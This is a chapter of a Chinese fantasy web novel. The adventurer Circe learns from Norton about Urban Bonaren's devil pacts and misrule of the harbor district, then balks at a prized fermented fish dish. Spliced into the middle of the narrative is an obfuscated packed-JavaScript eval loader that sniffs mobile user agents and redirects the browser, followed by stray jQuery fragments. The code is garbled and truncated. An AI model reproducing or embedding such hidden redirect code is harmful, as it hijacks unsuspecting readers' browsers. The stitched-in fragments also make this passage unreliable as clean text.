9. 奔走巷3

瑟茜进屋,才发现所谓的“港口区16号”不过是一间阁楼。


之所以地图上标识混乱,一栋楼出现4个号码,因为他们就是这样居住和生活的。


港口区靠近海岸,遍布流沙,留给居民的生活地本来就小。再加上位于监管混乱区域,小型密集的房屋往往更安全。


瑟茜紧巴巴地坐在小凳子上——她似乎抢了一个小孩的座椅,但屋里没有再多的椅子了。


诺顿在柜子好一阵翻找,才拿出一个生灰的新杯子,洗干净,倒好茶放到瑟茜面前。


看样子,港口区的确很少有客人来访。


匕首已经被诺顿拔下来了,他连换十几次毛巾才止住血液。“第三道疤。”他嘲讽地说,“我的脸总是容易被攻击。”


“前两次是因为乌尔班吗?”


“这都猜中了?”诺顿笑了,“严格算来,这三道疤都是他搞的,好一个阴险的混蛋。”


“和我讲讲吧。”瑟茜说,“你之前提到,乌尔班在港口区的故事,他后来又是怎么被你赶走的?还有,我曾经在海岸边看见许多废弃木头,难道也和你们的恩怨有关吗?”


诺顿的妻子听了,担忧地看了他一眼。


“不用担心,亲爱的。”诺顿安慰她,“我不信人心,但相信魔法,誓言咒并未退去。而且......这位小姐是冒险者,和乌尔班没有瓜葛。”


瑟茜点头,“我要想杀他,不会留到现在。”


她的话太过粗暴直白,几个孩子当场又哭了起来,诺顿连忙领着孩子进了卧室,不想让他们和瑟茜多接触。


一关上门,诺顿缓缓开口——


“乌尔班·博纳伦曾经是港口区的主人,当年,他是由全体港口区人民票选上去的。”


说到这里,他似乎有些难堪,“当时,博纳伦家族在这一带名声很好,擅长捕鱼,将货物拿到其他国家贩卖,攒下很大一笔钱......自从港口区脱离了深水城的直接管辖,区域长官撤离以后,这里一直缺少一个领导......一个代言人。


“在我八岁那年,乌尔班·博纳伦作为家族的独子,以全票通过竞选。开头的几年,的确很好,我们的货物成倍卖出,还和外国建立供货渠道。可就在乌尔班上任的10年后,一切都变了......


“他一心要把港口区做大,扬言要扩张地盘,和深水城的正式部队起了好几次冲突,死了很多人。


除此之外,他还在港口区实施严格统治,提高税赋,将收入所得20%交给他,他说是为了‘改善环境’,可港口区的垃圾一天比一天多。大家一直忍受,直到——”


瑟茜追问:“直到什么?”


“直到我们开始怀疑,乌尔班和魔鬼有交易。”诺顿说,“他开始变得易怒,四处伤人,港口区还发生了几起恶性事件。小玛德莲的鬼魂出现,她积怨不散,一直在奔走巷里呼号,这巷子的名字就是这样来的。”


一个标准的怨灵。


瑟茜接着问,“所以你把他打出去了,然后呢?”


“是大家一起把他赶出去了。”诺顿说,“当时,也是一位死灵法师听说了小玛德莲的事,赶来港口区,设下为期100年的屏障,禁止任何博纳伦家族出入。一切平息后,大家凑钱修建了一艘巨型渔船,想扩展海外事业,可......”


“可被乌尔班毁了,对吧?”瑟茜说,她看到空荡荡的海岸,和旁边散落的木架就明白了一切。


“没错。”诺顿腾地一声站起身来,满脸恨意,“大家明明要过上平稳的生活,却都被他毁了。现在,一切重新开始,港口区又回到几十年前,腐烂,肮脏,发臭。”


诺顿说的没毛病。


瑟茜想,进入港口区的一路上,她看见太多堆积如山的垃圾、倒在路边的醉汉,散发恶臭的泥土和虚掩着的商店......


这里的社会就像一个营养不良的孤儿,仅靠着最低限度的肌肉和内脏维持生命机能,在死亡边缘摇摇欲坠。


而要让这样的社会恢复活力,只有一个答案——金钱。


金钱是社会的养料,有了它,才能带动正向循环。乌尔班毁了他们赖以生存的渔业,就是断了生命的养料。


“所以,我看到乌尔班成排的棚屋,成群的牲畜,就是用你们的税钱建的?”瑟茜冷冷开口。


“没错。他不知道用了什么办法,把财产一股脑转移出去了。他现在是深水城的正式公民,大家很难靠近他,城市卫兵对港口区的人格外谨慎。直到昨夜,我终于找到机会溜了出去......”


你那一把火倒是放得很干脆。


瑟茜想到那烧得光秃秃的棚屋,还有水中漂浮的各式家具,心情复杂。


她觉得港口区的这群人可悲又可怜,事已至此,她不知道要用什么态度对待这件事:站在乌尔班这边,做一个无感情的雇佣兵?还是站在诺顿这边,像一个正义的游侠?


瑟茜决定听从自己的直觉——


直觉一告诉她,乌尔班隐瞒自己的立场,让她很不爽。


直觉二告诉她,当她对这个世界规则一无所知时,就被乌尔班急忙签下契约,被拿住了把柄,也让她很不爽。


而诺顿目前对自己还算客气,也没计较被毁容这件事,还肯把事实一五一十地讲出来......


瑟茜很快就想好了。


“我会搞清楚这件事。”瑟茜说,喝下泡好的茶,茶叶又苦又涩。“或许我会帮助你们,作为交换,你得仔细告诉我关于魔鬼的事。”


诺顿点点头,“你想知道什么?”


“首先是证据。你们怀疑乌尔班和魔鬼打交道,只是怀疑,还是有切实的证据?”


“我不会无凭无据地诬陷人,小姐。”诺顿摇摇头,“起初,乌尔班变得狂暴,在发生几起流血事件后,我们都受不了他了,趁他出海潜入家中。


“在他家,我们发现了和魔鬼对话的卷轴,还有地板上留下的召唤仪式......他肯定学到了召唤魔鬼的办法。”


瑟茜心里一凉。


魔鬼的召唤仪式,听起来就像自己签订契约时的情形。


乌尔班当时笃定地说,如果自己违约,不但要交上20金,还得面临契约的惩罚。他对第一次见面的冒险者如此慷慨,丝毫不担心她卷款潜逃,信心十足......


现在看来,那位“见证人”也许就是魔鬼。


想到这里,瑟茜一阵头疼。


她只记得那位见证人是个商人,可他长什么样来着?她只记得这位商人极其普通,似乎是全人类面孔的平均集合,在她的脑海里没留下一点痕迹。


“那......”她发现自己的声音有些颤抖,“那些流血事件,都和乌尔班的魔鬼有关吗?”


诺顿沉重地点头。“那些人对乌尔班做出了某种承诺,最后有的受伤,有的一贫如洗,一蹶不振,还有的已经死了。”


“为什么?”瑟茜连忙问,“都是不好的结局,难道他们都违背了承诺吗?”


“你错了。”诺顿抬起头,用一种悲哀的目光看着她说,“他们全都遵守誓言,成了乌尔班的走狗,没有一个违背诺言。”


“不可能,那为什么——”


“你对魔鬼一无所知,是吧,外乡人?”诺顿说,“魔鬼从不会好心。他们和你签订契约,只有唯一的目的——玩弄人类。就像杰凯,我曾经的发小......他为乌尔班征收税款,殴打那些拒不缴纳的穷人,就因为乌尔班承诺让他成为‘第二富有的人’。”


诺顿深吸一口气,接续说:“最后,乌尔班被迫离开港口区的前一夜,他知道杰凯没有任何利用价值了,给了他成堆的黄金,真的让杰凯美梦成真......


“只此一夜。杰凯做了个短命的富翁,第二天尸体被发现时已高度腐烂,裹在破布中匆匆下葬。临走之际,乌尔班拿走了杰凯所有的财富,这是......这是一个文字游戏。


”他承诺让杰凯成为‘第二富有的人’,没说是死人还是活人,也没规定富有的时长。魔鬼只会和人玩文字游戏,从人类的痛苦中汲取快乐。”


这听起来可太耳熟了。


慷慨地承诺一切,就像乌尔班初见自己时一样。瑟茜想,如果真的按乌尔班的意思办事,自己最后或许会落个和杰凯一样的下场。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263282|166559||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


还好她没有贸然对诺顿下手。


只是......瑟茜还有一个问题,既然魔鬼以吸食人类的痛苦为乐,它为什么非要听乌尔班的话?就因为乌尔班召唤了它?


瑟茜问出这个问题,可诺顿也不知道。


“我想......”他缓缓开口道,“乌尔班和魔鬼打太多交道了,他自以为是魔鬼的同伴,殊不知自己某天也会被吞噬掉。”


突兀的声音打断了两人对话——


只见厨房的汽锅发出尖鸣,一股奇怪的味道传来。


“你还没吃中饭吧。”诺顿站起身,把几个孩子从卧室叫出来,“开饭了,大家——”


他按住汽锅,松开阀门。


奇怪的味道充满整个客厅,瑟茜伸头望去,锅里是一大团黄色的糊糊。


“尝尝港口区的特产,丛生水藻拌鱼蓉。”诺顿给每个人分餐,突然多了一个人,每份食物只到碗口的一半。


瑟茜挖了一勺,放进嘴里——


她想,自己这辈子都不会忘记这个味道。


就像一个消化不良的人钻进了你的嘴巴,开始猛烈的放屁。


其间,又苦又涩的水藻钻进了口腔的每一个角落......她赶快囫囵吞下,不敢停留,抑制住想吐的冲动。


瑟茜收回早上的话,什么“深水城的人都是顶级厨师”,明明方差极大,几乎是过山车般的体验。


她望向其他人,他们都在大快朵颐,就好像在吃什么美味......


瑟茜心里泛起一丝不忍,难道港口区已经穷到这地步了?


“你怎么不动?”诺顿吃完一碗,抬头看她,十分诧异。


“我还不饿。”瑟茜眼眶微热。


“吃不惯吧?”诺顿把她的碗拿过去,“我就知道......”


“不是的,我——”瑟茜努力想着措辞,怕伤他们的心。


“我就知道......”诺顿接着说,“你们这些冒险者都是小村子里来的,口味偏僻。这水藻我放在发酵桶里3个月,鱼也放了2个月,正是臭味最浓的时候,你竟然不爱吃?”


“什么?”


诺顿摇摇头,可惜地说,“你知道多少人想买这一碗吗?曾经有个吟游诗人,来到港口区,为这一口待上三年不肯走,写了无数诗歌称颂它的风味......现在,它的价格炒到最高,一碗纯正的港口区风味鱼蓉,要卖20金。”


20金?


瑟茜震惊,自己的违约金不就是20金?


这一碗鱼蓉都可以买下自己的命了,你们深水城的货币体系这么混乱吗?


“可惜产量太少。”诺顿把剩下的吃完,颇为可惜地说,“要消耗10倍的鱼,去除杂质,才能得到最好的鱼蓉。要不然,港口区一定会发财的。”


原来这根本不是什么贫民食物......


瑟茜之前完全是自作多情。此时,诺顿就像看乡巴佬一样看着她.......几个孩子吃完,也敢一直盯着瑟茜看了,他们觉得一个乡巴佬没什么可怕的。


“当然不会发财。”瑟茜极为愤恨地说,学起诺顿的语气,“你对经济学一无所知,是吧,港口人?现在鱼蓉卖得贵,完全是因为供小于求,加上吟游诗人写诗赞美,所以才会溢价严重。


“一旦放开供给,价格只会越来越低。而且,更多人尝到了它的真实味道,大失所望,反而会让需求进一步下降......到最后,鱼蓉的价格说不定连本钱都回不来。”


瑟茜火速说完一长串话。


可诺顿一家人都呆呆看着她,完全不知道她在说什么。


“你的意思是......”诺顿绞尽脑汁地理解,“改变主意了,想再吃一碗?可我们已经——”


“不,我根本不是这意思。”瑟茜怒极反笑。


“叩,叩叩。”


突然,有人敲门。


两人终于同时噤声,瑟茜警惕地望向门口,把什么鱼蓉丛生水藻腌制3个月20金经济学供需关系都抛在了脑后。


“你还有客人?”瑟茜轻声问。


可诺顿摇摇头,同样神色沉重地望向门。